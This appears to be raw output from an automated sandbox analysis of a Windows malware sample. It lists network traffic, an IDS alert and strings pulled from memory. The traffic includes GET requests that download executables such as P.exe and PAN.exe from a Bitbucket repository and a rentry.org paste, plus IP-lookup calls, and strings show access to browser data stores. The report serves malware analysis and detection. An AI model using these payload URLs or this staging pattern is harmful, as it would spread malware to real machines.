Source: global traffic	HTTP traffic detected: GET /goodfuture91/goodfuture511/raw/984b882302ec52a90ac71aa3b8aecff3900592a4/P.exe HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /goodfuture91/goodfuture511/raw/691a0c82f5c7b1d896caabdcdeb16ee9a65a596d/WindowsAudioService.exe HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /?format=text HTTP/1.1Host: api.ipify.orgAccept-Encoding: identity
Source: global traffic	HTTP traffic detected: GET /?format=text HTTP/1.1Host: api.ipify.orgAccept-Encoding: identity
Source: global traffic	HTTP traffic detected: GET /?format=text HTTP/1.1Host: api.ipify.orgAccept-Encoding: identity

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49712 -> 185.166.143.50:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49711 -> 185.166.143.50:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe

Code function: 31_2_64964610 connect,setsockopt,inet_ntoa,recv,recvfrom,

31_2_64964610

Source: global traffic	HTTP traffic detected: GET /pancek61111111111111/raw HTTP/1.1Host: rentry.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /goodfuture91/goodfuture511/raw/691a0c82f5c7b1d896caabdcdeb16ee9a65a596d/PAN.exe HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /goodfuture91/goodfuture511/raw/984b882302ec52a90ac71aa3b8aecff3900592a4/P.exe HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /goodfuture91/goodfuture511/raw/691a0c82f5c7b1d896caabdcdeb16ee9a65a596d/WindowsAudioService.exe HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /?format=text HTTP/1.1Host: api.ipify.orgAccept-Encoding: identity
Source: global traffic	HTTP traffic detected: GET /?format=text HTTP/1.1Host: api.ipify.orgAccept-Encoding: identity
Source: global traffic	HTTP traffic detected: GET /?format=text HTTP/1.1Host: api.ipify.orgAccept-Encoding: identity

Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.000000000285A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.000000000285A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\ equals www.youtube.com (Youtube)
Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.000000000285A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb`, equals www.youtube.com (Youtube)
Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.000000000285A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q#www.youtube.com_0.indexeddb.le equals www.youtube.com (Youtube)
Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.0000000002471000.00000004.00000800.00020000.00000000.sdmp, mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.000000000285A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q3IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: rentry.org
Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org

Source: powershell.exe, 00000003.00000002.1500962112.000001D459440000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B97FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bitbucket.org
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849282939.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1942221585.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.di
Source: clppth.exe, 00000026.00000002.3773423449.00000156D219C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1973533379.00000156D218F000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.2060011719.000002C498ACE000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000002.3773078057.000002C498ADB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.co
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491053063.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1493142728.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1477767217.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476660244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869C9000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486647943.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495572319.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1853576082.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000002.3773423449.00000156D219C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1855913817.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849130676.00000156D218C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491053063.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1493142728.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1477767217.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476660244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486647943.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495572319.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1853576082.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1855913817.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849130676.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1973533379.00000156D218F000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848837705.00000156D218C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491053063.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1493142728.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1477767217.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476660244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486647943.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495572319.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1853576082.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1855913817.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849130676.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1973533379.00000156D218F000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848837705.00000156D218C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491053063.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1493142728.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1477767217.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476660244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869C9000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486647943.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495572319.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1853576082.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000002.3773423449.00000156D219C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1855913817.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849130676.00000156D218C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000003.00000002.1682036119.000001D47070C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: svchost.exe, 00000023.00000002.3293647693.000001B218E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491053063.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1493142728.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1477767217.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476660244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869C9000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486647943.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495572319.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1853576082.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000002.3773423449.00000156D219C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1855913817.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849130676.00000156D218C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491053063.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1493142728.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1477767217.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476660244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486647943.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495572319.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1853576082.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000002.3773423449.00000156D219C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1855913817.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849130676.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1973533379.00000156D218F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491053063.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1493142728.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1477767217.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476660244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486647943.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495572319.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1853576082.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1855913817.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849130676.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1973533379.00000156D218F000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848837705.00000156D218C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: clppth.exe, 00000029.00000003.1941900772.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1949554408.000002C498AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491053063.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1493142728.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1477767217.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476660244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486647943.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495572319.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1853576082.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000002.3773423449.00000156D219C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1855913817.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849130676.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1973533379.00000156D218F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: svchost.exe, 00000023.00000003.1651367816.000001B218D20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000003.00000002.1643088733.000001D468375000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1366839863.0000018B60D6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1383368560.0000018B6F649000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1383368560.0000018B6F506000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491053063.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1493142728.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1477767217.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476660244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486647943.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495572319.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1853576082.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000002.3773423449.00000156D219C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1855913817.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849130676.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1973533379.00000156D218F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
